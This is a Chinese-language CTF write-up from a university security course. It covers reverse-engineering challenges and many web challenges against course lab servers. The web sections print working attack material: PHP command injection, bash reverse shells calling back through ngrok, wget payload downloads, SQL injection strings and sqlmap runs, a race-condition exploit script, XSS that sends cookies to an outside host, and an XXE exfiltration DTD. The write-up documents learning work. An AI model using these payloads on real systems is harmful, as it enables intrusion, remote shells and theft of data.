--- title: 資訊安全實務 write up description: 學校的課 ouo tags: CTF lang: zh_tw --- # 資訊安全實務 write up [TOC] ## Intro :::info Github: https://github.com/LJP-TW/CTF/tree/master/CS_2019_Fall ::: ## Reverse ### m4chine 一開始拿到的是 .pyc 就先用 uncompyle6 反編出 .py ``` pip install uncompyle6 --user uncompyle6 m4chine*.pyc ``` 反編出來的結果我存到 m4chine.py 內容只是簡單的 VM, 自訂了自己的 op code 我做一點更改 變成 m4chine_edited.py 好讓我 dump 出來這個自定義語言的組語 結果在 reverse.asm 最後就可以根據 reverse.asm 反推敲出 flag 反推 flag 的腳本是 solve.py ### What The Hell TBD. ### Back to the Future 讀完組語後, 發現這支程式只是讀一下字串, 長度 0x12 將 input 跟 (year + 0x3f) * 2 做 xor 後存回 input 並將 input 跟 0x408008 位址的字串相比 都一樣則在把 input 跟 0x40801C 字串 xor 後存回 input 並輸出 input 醬子 ㄜ, 所以只是要解題的話 只要把 0x408008 的字串跟 0x40801C 的字串 xor 就行了ㄏ 不過中間有一些組語是課堂上有教到的東東 ![](https://i.imgur.com/30AbrqC.png) 像是這段就是存取 PEB 詳細的表可以查 [wiki](https://en.wikipedia.org/wiki/Win32_Thread_Information_Block) 阿 PEB 的定義在 [這裡](https://msdn.microsoft.com/en-us/windows/desktop/aa813706) ![](https://i.imgur.com/eCwB07B.png) 其中 ![](https://i.imgur.com/yAVwTz8.png) ![](https://i.imgur.com/NrLmfkx.png) 就是在存取 BeingDebugged 這欄位 ### IDAmudamudamuda #### 缺少 dll 一開始在我的 windows7 煉蠱機直接 run 會發現缺少 vcruntime140.dll 上網爬文後, 因為怕載到怪怪的 dll, 只參考官方的 被導向下載 Visual C++ 2015 Redistributable x86 [參考這篇](https://answers.microsoft.com/en-us/windows/forum/windows_10-update/vcruntime140dll/b1a15b0e-e389-41a3-bc49-f4fc85bac575) 載完後果然可以 run 了 #### 黑箱 ![](https://i.imgur.com/YJjvSYG.png) ![](https://i.imgur.com/sZROAGr.png) #### 白箱 開 IDA 來看囉~~ 首先找找有沒有告訴你 **"對 這是 flag"** 的 block ![](https://i.imgur.com/CaafrXp.png) 先簡單把一些顯而易見的 function rename 一下 printf 啦 scanf 啦 還有一些區域變數也換個名字 ![](https://i.imgur.com/MlIkkqI.png) rename了一番後 看起來就兩個 function 需要好好關照一下 setSeed 跟 judgeFlag 先看看 judgeFlag 好了 --- 一路分析、rename 下來, 最後長這樣 ![](https://i.imgur.com/QNS2Up8.png) VirtualAlloc 看起來就像 new 一塊記憶體 最後有 call 這塊記憶體 感覺就是可以寫 shellcode 進到這塊記憶體然後可以做你想做的事情 所以我說 寫入這塊記憶體 的 code 是啥勒 rep movsd 是啥? 估狗一下 [movsd](https://c9x.me/x86/html/file_module_x86_id_203.html) : Move doubleword at address DS:(E)SI to address [rep](https://c9x.me/x86/html/file_module_x86_id_279.html) : Repeat String Operation Prefix 組合起來 我猜應該是 Move (E)CX doublewords from DS:[(E)SI] to ES:[(E)DI]. 所以 ```asm mov ecx, 32h mov esi, offset unk_404058 mov edi, [ebp+var_C_memory] rep movsd ``` 是將 50 個 doublewords 從 0x404058 移動到剛 new 出來的 memory 搞半天原來我們不能自己寫 shellcode R...(也是, 這又不是 pwn 題) 再來的 ``` push offset unk_404018 mov edx, [ebp+arg_0_strFlag] push edx call [ebp+var_C_memory] ``` 就是 call 剛剛的神祕函數 0x404058 ```c 0x404058(char *strFlag, 0x404018) ``` 那接下來又開了一個坑了 現在的坑為: setSeed, 0x404058 先看看 0x404058 好了 --- 可是 IDA pro 沒辦法看這邊的組語 ![](https://i.imgur.com/kvV0QjK.png) 雖然是可以查查看有沒有辦法使得 IDA pro 能反組這一段 code 不過其實也可以用動態分析的方式 只要輸入 flag 長度為 33, 最後會 call 來 0x404058 到時候就有組語可以看了 先在判斷strFlag長度之前設中斷點, IDA pro 看的位置是 0x401299 用 x32dbg 開起來後, 發現位址有被亂分配 不過只有前三個 hex 有被亂 mapping, 後三個 hex 跟 IDA pro 這邊的還是一樣 斷點還是能設 ![](https://i.imgur.com/TPSHXo1.png) 設好後就 F9 執行下去 輸入長度 33 的 strFlag ![](https://i.imgur.com/luRaWRs.png) enter~ ![](https://i.imgur.com/zi0oJ3Y.png) 欸欸欸 ecx 是 0x21 所以我前面分析有錯 orz 看來長度是要 32 趕快回去改一下 IDA pro 分析的註解 (原來是 loc_401287 邏輯我搞錯了R) 好 重新來過, 直接來到 memory 的部分 ![](https://i.imgur.com/Tgaf4Ty.png) 不過這看起來還真是奇怪, 該不會是前面的 seed 搞的鬼ㄅ 再測試一次, 這次 seed 給不同的 value 878787 (原本給 135) 看看 ![](https://i.imgur.com/Y6qt79x.png) 嘔靠還真的不一樣 然後其實這邊一直忽略掉一個咚咚, 就是 call 來這 function 的第二個參數 0x404018 內容長這樣 ![](https://i.imgur.com/GcLsEoC.png) (前面位址被隨機化) 用 IDA 看長這樣 ![](https://i.imgur.com/VqOnSB9.png) 沒錯, 一模一樣 此時我腦中有一個這題的形狀產生 餵一個正確的 seed, 會讓 memory 產生一段驗證 flag 的 code flag 將跟 0x404018 這邊的 32 bytes 做運算 然後最終判斷這是不是對的 flag 好像很合理? 看一下 setSeed --- ![](https://i.imgur.com/p05AW8c.png) 又是 MZ 又是 PE 好像很熟悉? PE Header? 幹 不會是 PE Parser 吧@@ 痾 但又有一個問題是 這function一開始有 call 其他東西 ``` push 0 call dword_404488 ``` 那個 0x404488 是...? ![](https://i.imgur.com/PXnvfD7.png) 似乎跟 Linux 的 Lazy binding 很像 那我就蠻好奇, 是不是真的是 Lazy binding 發現 printf scanf 也是屬於這邊的 那就用動態分析觀察一下一開始的 printf 怎麼運作的 回 x32dbg, 在任何一個 printf 前下斷點 欸欸剛到的時候就發現, 他其實是 puts ![](https://i.imgur.com/93ocLTS.png) 先 rename 再說 然後 下個問題是, x32dbg 怎知道這是 puts ? 這問題先留著, 不過可以反過來利用 x32dbg 可以先知這疑似 Lazy binding 的 function name, 來知道一下 0x404488 是啥 ![](https://i.imgur.com/Tk6N3io.png) 0x404488 是 [GetModuleHandleA](https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getmodulehandlea) 調查一下這幹啥的, 我的理解是 參數為 NULL 則回傳當前這個執行檔的 handle 瞧瞧 call 完這 function 後的回傳值 ![](https://i.imgur.com/zi6XNMZ.png) eax 為 0xfb0000 而這個位址上的東西就是一個很熟悉的東東 PE Header! Check 一下這是不是就是這支程式的 PE header 簡單用 PE-bear 看一下 Section Headers 都一樣, 所以這裡就先假設這 PE Header 的確是這支程式的了 參考這張圖 ![](http://2.bp.blogspot.com/-e_0ck42SsMI/TYolcp5bivI/AAAAAAAAAAU/ktRY5QSQXV4/s1600/PE_Format.png) 和上課投影片的這張(不得不說這份投影片真好看, 我是說外觀, 內文好難Q) ![](https://i.imgur.com/Y6lzbtY.png) [DOS header + 0x3c] 為 offset to PE signature ![](https://i.imgur.com/C6uOyQ5.png) 這段就在幹這件事情 ![](https://i.imgur.com/j8PHhq9.png) OK吧, PEsignature + 0xf8 就到 SectionHeader ![](https://i.imgur.com/mnv9jwt.png) 找 sectionName 為 .data 的部分 這次 [ebp+sectionHeader] 不是 .data 就加 0x28 也就是到下一個 sectionHeader 最終 [ebp+sectionHeader] 會存放 .data 的 section header ![](https://i.imgur.com/m3u3FXZ.png) 這段一開始先定位到 .data 真正指到的 data 接著 1 個字元 1 個字元的找, 直到找到 0x0f 後 開始新的 Loop .data 真正指到的 data 前面長這樣 ![](https://i.imgur.com/tLZKqNQ.png) 所以 [ebp+base] 最終應該會等於 0x18 ![](https://i.imgur.com/BS5XFMx.png) 一個 for index in range(0x20) 將 data[base+index+0x20] + data[base+index] 存回 data[base+index] 執行完迴圈後的 data[base] 也就是 data[0x18] 的後 32 bytes 長這樣 ``` 0F 09 02 0C F8 FA 30 F0 22 22 FA 30 F0 22 22 FA 30 F0 22 22 35 ED E4 F6 FA E4 EC 35 E1 22 22 C6 ``` ![](https://i.imgur.com/GYQtJ4G.png) 剛剛 [ebp+index] 0x18 所以現在為 0x39 ![](https://i.imgur.com/wsCgZpb.png) 跟剛剛找 base 的方法很像 這段一開始先定位到 .data 真正指到的 data 從 data+base(也就是0x39) 開始 接著 1 個字元 1 個字元的找, 直到找到 0x45 ![](https://i.imgur.com/Xi0rwY9.png) 最終 base 為 0x58 ![](https://i.imgur.com/rpXCYQX.png) index2 初始為 0 一直把 data[base(也就是0x58)+index2] 一直加上 seed 最後存回一樣位址, 直到 data[base+index2] 為 0 ![](https://i.imgur.com/A7LEbRK.png) 也就是這一段 ``` 45 7B DC 41 B7 35 EC F0 F0 F0 F0 DB F9 7B 35 EC 73 B0 F1 79 35 EC 7B 3D FC F3 3D EC FF AE 01 75 C2 64 15 7B 35 F8 F3 35 EC FF AE F8 73 B1 13 73 E1 56 FF AE C1 7B 35 FC F3 35 EC FF AE F8 2B C1 64 F4 23 B0 DB F7 DB B5 A8 F1 F0 F0 F0 7B D5 4D B3 ``` --- 現在回來看 judgeSeed 會 call 到的 ```c 0x404058(char *strFlag, 0x404018) ``` 現在知道了 0x404058 是 ``` 45 7B DC 41 B7 35 EC F0 F0 F0 F0 DB F9 7B 35 EC 73 B0 F1 79 35 EC 7B 3D FC F3 3D EC FF AE 01 75 C2 64 15 7B 35 F8 F3 35 EC FF AE F8 73 B1 13 73 E1 56 FF AE C1 7B 35 FC F3 35 EC FF AE F8 2B C1 64 F4 23 B0 DB F7 DB B5 A8 F1 F0 F0 F0 7B D5 4D B3 ``` 加上 seed 的結果 而 0x404018 則固定會是 ``` 0F 09 02 0C F8 FA 30 F0 22 22 FA 30 F0 22 22 FA 30 F0 22 22 35 ED E4 F6 FA E4 EC 35 E1 22 22 C6 ``` oh well 所以 seed 基本上只有 0 ~ 255 (乾 搞得好像凱薩加密) 接下來的目標就是自動化生出各種 seed 之下的 shellcode 長怎樣 再看哪個最有可能是真正的 shellcode 再 reverse 他, 最後應該就能生出 flag 了 不過在爆破之前, 先讓我試一下, 假設 shellcode 最後的指令是 return 也就是 opcode 0xC3 (隨便在 x32dbg 都能找到) 那 seed 要是 0x10 輸入 seed = 0x10 看看 ![](https://i.imgur.com/kvQoOgD.png) Bang! 這長得就很像是真的可以跑得 function 再來就是 reverse 他了 --- Easy, 將 Flag 的咚咚先加 0x23 再 xor 0x66, 跟 0x404018 的咚咚要一樣 那反推, Flag 的咚咚要是 0x404018 xor 0x66 再減 0x23 Over. ## Web ### sushi source code 如下 :::info ```php <?php // PHP is the best language for hacker // Find the flag !! highlight_file(__FILE__); $_ = $_GET['🍣']; if( strpos($_, '"') !== false || strpos($_, "'") !== false ) die('Bad Hacker :('); eval('die("' . substr($_, 0, 16) . '");'); ``` ::: 只要餵他 `?🍣={${system(ls)}}` 就行囉 `${system(ls)}` 是執行指令 外層的 `{}` 將他轉為字串 若是直接餵 `?🍣=${system(ls)}` 會因為 die 要吃字串,可是 system 回傳不是字串而錯誤 但是可以有另外一個姿勢 `?🍣=${@system(ls)}` 詳見[@](https://www.php.net/manual/en/language.operators.errorcontrol.php)的用法 若題目沒有單雙引號限制, 可以這樣 `?🍣=".system(ls)."` eval 那行就會被 inject 成 `eval('die("".system(ls)."");');` ### me0w 題目是這樣的 :::info ```php <?php highlight_file(__FILE__); $waf = array("&", ";", "`", "$", "|", ">"); $me0w = str_replace("..", "", $_GET['me0w']); for($i = 0; $i < count($waf); $i++) if(stripos($me0w, $waf[$i]) !== FALSE) die("me0w me0w!"); shell_exec("cat $me0w &> /dev/null"); ``` ::: - 考點 這題的難點就在於注入 $me0w 後, 輸出會被 redirect 到 /dev/null, 什麼都看不到 - 新學到的東西 - shell_exec, exec, system 這些 function 都可以用 %0a(換行) 來切開指令 - [ngrok](https://ngrok.com/) 讓你有個外網 host 能用 (QQ 好缺) - bash 後門 那,開始囉 首先用 ngrok 架好主機 ``` ngrok tcp 5566 ``` 主機準備一下咚咚 ``` cd /tmp mkdir server ``` 創一下這些檔案 server/gg: ``` bash -c 'bash -i >& /dev/tcp/0.tcp.ngrok.io/12542 0>&1' ``` 這是連後門的 sh command 其中 /dev/tcp/ 後面的兩個欄位要打上外網網域名稱跟外網 port 解釋一下 `[fd1]>&[fd2]` 是 shell 的 redirection 符號 fd1 不設定,預設是 1,也就是 stdout 第一部分 `>& /dev/tcp/0.tcp.ngrok.io/12542` 將 fd 1 (stdout) redirect 到 `tcp://0.tcp.ngrok.io:12542` 接著 `0>&1` 將 fd 0 (stdin) redirect 到 fd 1 (此時已是 `tcp://0.tcp.ngrok.io:12542`) 繼續在 /tmp 底下執行 ``` php -S 0.0.0.0:5566 -t server ``` 運行簡單的 http server 再來餵題目 URL 吃 GET `?me0w=%0awget+http://0.tcp.ngrok.io:12542/gg+-O+/tmp/ljp` 這樣 target 就會運行 ``` cat wget http://0.tcp.ngrok.io:12542/gg -O /tmp/ljp &> /dev/null ``` 連後門的 sh command 下到了 /tmp/ljp 再來關掉我們 host 上的 http server,將 php kill 掉 (ngrok 保留著) 改運行後門 ``` ncat -vkl 5566 ``` 再餵 target 吃 `?me0w=%0ash+/tmp/ljp` 這時就可以看到 shell 彈出來了 在根目錄有 readflag 可以執行 ### No Password 毫無防備的 SQL Injection `1" OR "1" = "1" ) -- ` ### open my backdoor ~~解完 me0w 後,發現這題會解了,真爽~~ 題目是這樣的 :::info ```php <?php set_time_limit(3); ini_set('max_execution_time', 3); highlight_file(__FILE__);$f=file(__FILE__); $c=chr(substr_count($f[1],chr(32))); $x=(substr($_GET[87],0,4)^"d00r");$x(${"_\x50\x4f\x53\x54"}{$c}); ``` ::: 首先 $\_GET[87] 會和 "d00r" xor,之後變成 function name function 的 parameter 放在 $\_POST['#'] - solve: 先開好後門,使用 ngrok 申請外網 host 導向自家 host 的 5566 port ``` ./ngrok tcp 5566 ncat -vkl 5566 ``` 把 GET 參數設為和 "d00r" xor 後會變成 "exec" POST 參數餵吃後門 `bash -c 'bash -i >& /dev/tcp/0.tcp.ngrok.io/13226 0>&1'` 位址和 port 要設定為 ngrok 給的外部網址 & port ![](https://i.imgur.com/6THzFM6.png) shell 就彈回來了 flag 就在根目錄底下 這題要注意的是 Content-Type、Content-Length 要設好 ### Unexploitable 這題考點是資訊收集 以下只寫正確路線,中間嘗試過很多其他事情但就不贅述了 用簡報中提到的 [dirseach](https://github.com/maurosoria/dirsearch) 暴搜一波 ``` python3 dirsearch.py -u https://Bucharesti.github.io \ -e php,html,ini,txt,md -t 10 -F ``` 其中有搜到 `/CHANGELOG.html` 這個路徑 ![](https://i.imgur.com/lBJPDuA.png) 去 github 搜尋 `Bucharesti.github.io` ![](https://i.imgur.com/WrLYdfx.png) 看看之前的 commit ![](https://i.imgur.com/lRUbmq3.png) ![](https://i.imgur.com/fsn5JBR.png) Done. ### EzLFI 題目: :::info ```php= <?php highlight_file(__FILE__); session_start(); $action = $_GET['action']; if($action === 'register') { if(isset($_POST['user'])) { $_SESSION['user'] = $_POST['user']; } } else if($action === 'module') { if(isset($_GET['m'])) { // example: m=about.php include("module/" . $_GET['m']); } } ``` ::: 只要先把 session 填成 php 語法 後面再 include 到 session 就解完了 這題的 session path 為 `/var/lib/php/session/sess_[SESSION_ID]` `[SESSION_ID]` 從 cookie 可以知道 ![](https://i.imgur.com/9UvZIGA.png) 後面的 `khkca......` 就是 SESSISON_ID 送類似`user="<?php echo 'hello'; ?>"`的 post ![](https://i.imgur.com/u5OuUTD.png) done. ### Safe R/W 這題長這樣 :::info ```php= <?php if(isset($_GET['src'])) highlight_file(__FILE__); function waf($s, $type) { if($type == 0) { if(stripos($s, ".") !== FALSE) die(bye()); if(stripos($s, "/") !== FALSE) die(bye()); if(stripos($s, "-") !== FALSE) die(bye()); } else if($type == 1) { if(strlen($s) > 20) die(bye()); } else { if(stripos($s, "ph") !== FALSE) die(bye()); } } function bye() { header("Location: https://youtu.be/dQw4w9WgXcQ"); } $sandbox = '/var/www/html/sandbox/' . @md5("kaibro" . $_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']); @mkdir($sandbox); @chdir($sandbox); $f = $_GET{'f'}; $c = $_GET{'c'}; $i = $_GET{'i'}; waf($f, 0, 1, 2, 3); waf($c, 1, 2, 3, 0); waf($i, 2, 3, 0 ,1); @system("mkdir " . escapeshellarg($sandbox . "/" . $f)); @chdir($sandbox . "/" . $f); @file_put_contents("meow", $c); @chdir($sandbox); if(isset($i) && stripos(file_get_contents($i), '<') === FALSE) { echo "<div class='container'>"; echo "<h2>Here is your file content:</h2>"; @include($i); echo "</div>"; } @chdir(__DIR__); $md5dir = @md5("kaibro" . $_SERVER['REMOTE_ADDR'] . $_SERVER['HTTP_USER_AGENT']); @system('rm -rf sandbox/' . $md5dir ); echo "<hr>"; ?> ``` ::: 先直接講我的解法,經 Kaibro 驗證為非預期解 XD 然後另外補個預期解 #### 非預期解 Race condition ```python #!/usr/bin/python from urllib import quote import requests import threading import hashlib import urllib3 urllib3.disable_warnings() # Write cmd into sandbox/md5_str/a/meow' def write(cmd): url = 'https://edu-ctf.csie.org:10155/?f=a&i=a%2Fmeow&c=' + quote(cmd) r = requests.get(url, verify=False) if 'Here is your file content' in r.text and 'Niho' not in r.text and '</h2></div><hr>' not in r.text: print r.text for i in range(100): threading.Thread(target=write, args=('<?php echo`nl /f*`;',)).start() threading.Thread(target=write, args=('Niho_Niho_Niho_Niho',)).start() ``` 利用 Race condition,腳本寫法參考[Orange](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/ais3-final-2015/sqlpwn/exploit.py) 送 `Niho` 的 request 通過 line 40 的驗證後,送 php 語法的 request 寫入檔案,再換到原本送 `Niho` 的 request 執行 line 43 的 include,也就會 include 到 php 語法。 但因為字串長度有限制 20,所以其實蠻 hardcore 的,前面先送```<?php echo`ls /`;``` 可以發現 flag,上面的腳本就是讀出 flag #### 預期解 ``` f: data:,ljp i: data:,ljp/meow c: <?php echo`cat /f*`; ``` 為何呢? 源自於 file_get_contents 跟 include 的行為不同 `file_get_contents('data:,ljp/meow')` vs `include('data:,ljp/meow')` `file_get_contents` 會將`'data:,ljp/meow'`當成 `data:` 協議處理,進而拿取到`ljp/meow`,沒有 `<`,通過 if。 `include` 則把`'data:,ljp/meow'`當作檔名,那就include到php語法啦 所以以下這樣 ``` f: data:,l<jp i: data:,l<jp /meow c: <?php echo`cat /f*`; ``` 也是不行,因為 `file_get_contents` 最後會取到 `l<jp/meow`,進而沒通過 if。 這個解法也只能執行 7 個字元的 system command。 ### how2xss 參考 [Web-CTF-Cheatsheet](https://github.com/w181496/Web-CTF-Cheatsheet) 經過了幾次 Try & Error,試出最基本的 XSS - `<svg/onlOAD=&#97;\u{6c}ert(1)>` 這樣其實也行 - `<svg/onlOAD=a&#x6c;ert(1)>` 或這樣 - `<svg/onlOAD=a\u{6c}ert(1)>` 更多姿勢 - `<svg/onlOAD=a\u{6c}ert(\u{61})>` :::info `&#97;` 為 html 字符編碼,[可以參考這篇](http://cychiang719.blogspot.com/2008/08/html.html) `\u{xx}` 是從 Cheatsheet 學來的,只能用在 Javascript 的部分 ::: 後來發現,filter 的規則應該是輸入重複的字元會被刪掉 那這樣 alert(1) 就可以改成像這樣 - `<SVG/ONLoAD=alert(1);>` 感覺這種 filter 就有其他題目也是一樣的, 使用一下 google 搜尋看看 write-up,還真的被我找到[這篇](https://medium.com/@renwa/security-fest-2019-ctf-entropian-web-write-up-f81fb11f675b) 概念是 - 餵一個 iframe tag, src 連到自己的 domain, - 自己的 domain 的 index.html 寫 js, 內容是 - 將 `window.name` 改成 js 語法, 帶著 cookie redirect 到自已的 domain - 將 `window.location` 改成打 target, 並二度 xss - 這次 xss 內容為 `<SVG/ONLoAD=eval(n&#97;m\u{65})>` - 將執行 dom xss `eval(name)` 如此一來就會執行 `帶著 cookie, redirect 到我們 domain` 的 js cookie 到手 問題是不能重複字元的限制, ngrok 網址肯定會重複, 所以呢 **縮網址很好用** 例如這次 ngrok 給我網址是 `https://f8863991.ngrok.io` 縮網址變成 `http://bit.ly/2Qfs301` 送 admin 吃 `<IFRaMe SrC=/\biT.Ly&#47;2Qfs301>` - `&#47;` 是 `/` HTML encoding 的產物, 兩者等效, 藉此 bypass filter - admin 就會開 `http://bit.ly/2Qfs301` - 就會跑來 `https://f8863991.ngrok.io` - 這邊我踩了個雷, 用 http 的話, js 會被認為是沒驗證而不給執行 - 這邊的 html 我放這樣 ```javascript <script> window.name = "document.location='https://f8863991.ngrok.io?' + document.cookie"; window.location = "https://edu-ctf.kaibro.tw:30678/hackme.php?q=%3CSVG%2FONLoAD%3Deval%28n%26%2397%3Bm%5Cu%7B65%7D%29%3E" </script> ``` - `window.name` 變成 `"document.location='https://f8863991.ngrok.io?' + document.cookie"` - `window.location` redirect 回去再一次 xss, 這次打 `eval(name)` - 其實是打 `<SVG/ONLoAD=eval(n&#97;m\u{65})>`, 結果就是執行 `eval(name)` - 變成 `eval(document.location='https://f8863991.ngrok.io?' + document.cookie)` - cookie 到手 另外附上產生 proof of work 的腳本 (爆改網路上的找來的腳本) 執行方式: `./pow.py 12345` (12345 為站台要求必須符合的部分) ```python #!/usr/bin/env python # example of proof of work algorithm import hashlib import time import sys max_nonce = 2 ** 32 # 4 billion def proof_of_work(header): for nonce in xrange(max_nonce): hash_result = hashlib.md5(str(header)+str(nonce)).hexdigest() if hash_result[:5] == sys.argv[1]: print "Success with nonce %d" % nonce print "Hash is %s" % hash_result return (hash_result, nonce) print "Failed after %d (max_nonce) tries" % nonce return nonce if __name__ == '__main__': nonce = 0 hash_result = '' new_block = 'kaibro' + hash_result (hash_result, nonce) = proof_of_work(new_block) ``` 覺得這題蠻酷的, 要 xss 兩次 ~~真好奇預期解是啥~~ ### Cathub v2 先列出 inject 點有哪些 - `https://edu-ctf.csie.org:10159/?page=2` - GET - 嘗試 UNION SELECT 到 12 個欄位了, 失敗 - `https://edu-ctf.csie.org:10159/video.php?vid=1` - GET - 嘗試 UNION SELECT 到 12 個欄位了, 失敗 - `https://edu-ctf.csie.org:10159/index.php?search=` - GET - 這個不太確定輸出會跑哪, 怎麼跑, 所以還沒嘗試 - Login 介面 - POST - `user=admin&pass=password` - 簡單嘗試, 不行(行也太容易了ㄅ) 拿 SQLMap 打打看好了 ``` python sqlmap.py -u https://edu-ctf.csie.org:10159/login.php --data="user=admin&pass=password" --risk=3 --level=5 --dbs --threads=10 ``` - Login 看來打不過 ``` python sqlmap.py -u https://edu-ctf.csie.org:10159/video.php?vid=70 --risk=3 --level=5 --dbs --threads=10 ``` - vid 失敗 ``` python sqlmap.py -u https://edu-ctf.csie.org:10159/?page=70 --risk=3 --level=5 --dbs --threads=10 ``` - 看來 page 也失敗 只好回歸樸實,自己的題目自己打 vid 這邊有一點點突破, 看來輸入空白會被抓到, 告訴你你是個 bad cat 找找 [Web-CTF-Cheatsheet](https://github.com/w181496/Web-CTF-Cheatsheet#mysql), 可以用 `/**/` 來當作空白 像是以下 - `https://edu-ctf.csie.org:10159/video.php?vid=2/**/and/**/1=1` 能正常顯示 - `https://edu-ctf.csie.org:10159/video.php?vid=2/**/and/**/1=2` 通通不見 來看看其他地方, what about page? - `https://edu-ctf.csie.org:10159/?page=2/**/and/**/1=2` 還是能正常顯示 好吧, 那就先專心試試 vid 的部分好了 剛剛的例子會導向打 Boolean-based SQLI, 可是這個好麻煩, 先試試看能不能簡單用 UNION - 爆踹到了 20 個欄位, 還是不行 好吧, 回來 boolean-based - length(current_user()) ? ``` https://edu-ctf.csie.org:10159/video.php?vid=2/**/AND/**/length(current_user())>0 ``` 又被說 bad cat ``` https://edu-ctf.csie.org:10159/video.php?vid=2/**/AND/**/length(123)=3 ``` 這樣是正常的, 改成 4 又顯示不出來 - 表示被過濾的應該不是 length 後來測試幾次後, 被過濾的應該是 `current` 字串, 且應該是不分大小寫 - length(database()) ? ``` https://edu-ctf.csie.org:10159/video.php?vid=2/**/AND/**/length(database())>0 https://edu-ctf.csie.org:10159/video.php?vid=2/**/AND/**/length(schema())>0 ``` Error 看起來是 sql 語法錯?? 中間還有踹到單引號 `'` 應該也會被 filter 抓包 - length(123) > 0 ? ``` https://edu-ctf.csie.org:10159/video.php?vid=2/**/AND/**/leNgth(123)>0 ``` 是可以過的, 讓人很想利用 length 先測測 ~~但database() schema() 什麼都就是測不過RRRRR~~ 回頭一下,發現單引號 `'` 跟空白會被過濾 sqlmap 需要調整參數, 先 bypass 空白 ``` python sqlmap.py -u "https://edu-ctf.csie.org:10159/video.php?vid=1" --risk=3 --level=5 --dbs --threads=10 --tamper=space2comment ``` ![](https://i.imgur.com/87NGnn2.jpg) 好像有進展了!!! ``` web server operating system: Linux Debian 8.0 (jessie) web application technology: PHP, Apache 2.4.10 back-end DBMS: Oracle ``` 打出了這些資訊, 然後又掛了 sqlmap 說建議加 `--no-cast` 或 `--hex` 摁,從善如流 ``` python sqlmap.py -u "https://edu-ctf.csie.org:10159/video.php?vid=1" --risk=3 --level=5 --dbs --threads=10 --tamper=space2comment --no-cast ``` ![](https://i.imgur.com/gDfRRA6.jpg) 看來成功了 QQQQQ 好感動 有以下 DB: ``` APEX_040200 CTXSYS MDSYS SCOTT SYS XDB ``` ``` python sqlmap.py -u "https://edu-ctf.csie.org:10159/video.php?vid=1" --risk=3 --level=5 --current-db --threads=10 --tamper=space2comment --no-cast ``` 現在 db 是 SCOTT 順便查了一下 current user 也是 SCOTT ``` python sqlmap.py -u "https://edu-ctf.csie.org:10159/video.php?vid=1" --risk=3 --level=5 -D SCOTT --tables --threads=10 --tamper=space2comment --no-cast ``` NO tables found QQ 每個 db 都一樣 QQ 又在回頭想, 已經知道後端 database server 是 oracle 因為 oracle 的 select 語法要有來源 表示前面打的 union 都錯 要改成 `blablabla union select 1,2,3 ... FROM dual` 後面要加 `FROM dual` 才行 ``` https://edu-ctf.csie.org:10159/video.php?vid=70/**/UNION/**/SELECT/**/null,null,null/**/FROM/**/dual ``` 像是這個, 給過了 ``` https://edu-ctf.csie.org:10159/video.php?vid=70/**/UNION/**/SELECT/**/DISTINCT/**/5487,null,OWNER/**/FROM/**/ALL_TABLES ``` ![](https://i.imgur.com/qUFH1yA.png) 打出資料庫名稱!! ``` https://edu-ctf.csie.org:10159/video.php?vid=70/**/UNION/**/SELECT/**/DISTINCT/**/5487,null,OWNER/**/FROM/**/ALL_TABLES/**/WHERE/**/ROWNUM=1 ``` ![](https://i.imgur.com/ySUiY0P.png) 打出第二個資料庫名稱!! 欸不過沒辦法打第三個, why?? 改成這樣就行全部列舉 ``` https://edu-ctf.csie.org:10159/video.php?vid=70/**/UNION/**/SELECT/**/DISTINCT/**/null,null,OWNER/**/FROM/**/ALL_TABLES/**/OFFSET/**/0/**/ROWS/**/FETCH/**/NEXT/**/10/**/ROWS/**/ONLY ``` (改 Offset 的值就好) 用這個方式列舉出來的 db 為: ``` APEX_040200 CTXSYS MDSYS SCOTT SYS SYSTEM XDB ``` 看來一樣 重要是取得 SCOTT 的 Table RRRR ``` https://edu-ctf.csie.org:10159/video.php?vid=70/**/UNION/**/SELECT/**/null,OWNER,TABLE_NAME/**/FROM/**/ALL_TABLES/**/OFFSET/**/55/**/ROWS/**/FETCH/**/NEXT/**/1000/**/ROWS/**/ONLY ``` ![](https://i.imgur.com/m7VpMWe.png) 發現第二個欄位會跑到影片 Title 區 經過人工二元搜索後, 找到從 offset 55 開始, 是 SCOTT 的 table SCOTT 的 table 為 ``` BONUS CAT_VIDEOS DEPT EMP S3CRET ``` 雖然還沒列完, 但也不用找了, 不是 `S3CRET` 還有誰 ``` https://edu-ctf.csie.org:10159/video.php?vid=70/**/UNION/**/SELECT/**/null,OWNER,COLUMN_NAME/**/FROM/**/ALL_TAB_COLUMNS/**/OFFSET/**/2800/**/ROWS/**/FETCH/**/NEXT/**/10000/**/ROWS/**/ONLY ``` 找到一個叫做 ID 的欄位, 屬於 SCOTT 擁有 從這邊左右尋找看看 ``` ID JOB LOC LOSAL MGR NAME SAL URL V3RY_S3CRET_C0LUMN ``` 也不用列完了, 看來已經離成功不遠了 ``` https://edu-ctf.csie.org:10159/video.php?vid=70/**/UNION/**/SELECT/**/null,V3RY_S3CRET_C0LUMN,null/**/FROM/**/S3CRET ``` 出... 出來了 ![](https://i.imgur.com/Qv6n9hU.png) QQ , 假 flag `FLAG{HEY___OR@CLE_D4TAB4S3__INJ3CTI0N_I5____TO0OOO0OOO0OO_E4SY!!!!!??}` 回頭找 column,發現 column 真的就那些了 那先找找看周邊 column 然後我不知道為何, 剛好亂踹, 又打一次一樣的, 但這次從 html 裡面複製出來 `FLAG{hey___or@cle_d4tab4s3__inj3cti0n_i5____to0OoO0ooO0OO_e4sy!!!!!??}` 就過了 QQQ TITLE 會大寫RRRRRRR ### XXE 給了一個頁面。單純解析你輸入的 XML 送給 target 吃以下 ``` <?xml version="1.0"?> <!DOCTYPE ANY[ <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/flag"> <!ENTITY % remote SYSTEM "https://e75f9bca.ngrok.io/my.dtd"> %remote; %all; %send; ]> ``` 自己的 server 的 my.dtd 長這樣 ``` <!ENTITY % all "<!ENTITY &#37; send SYSTEM 'https://e75f9bca.ngrok.io/?a=%file;'>"> ``` 如此 target 就會把處理好的 `%file` 傳到 server server 再把處理好的 `%all` 傳回 target target 再使用 `%all` 最後使用 `%send` 再把 base64 編碼後的 flag 當作 GET 參數打回 server,打完收工 ### sh3ll_upload3r source code: ```php <h2>Sh3ll Upload3r</h2> <form method="post" enctype="multipart/form-data"> <input type="file" name="my_file"> <input type="submit" value="Upload"> </form> <hr> <br> You can only upload file with this content: <pre> <?php echo htmlentities(file_get_contents("sh"));?> </pre> <hr> <br> 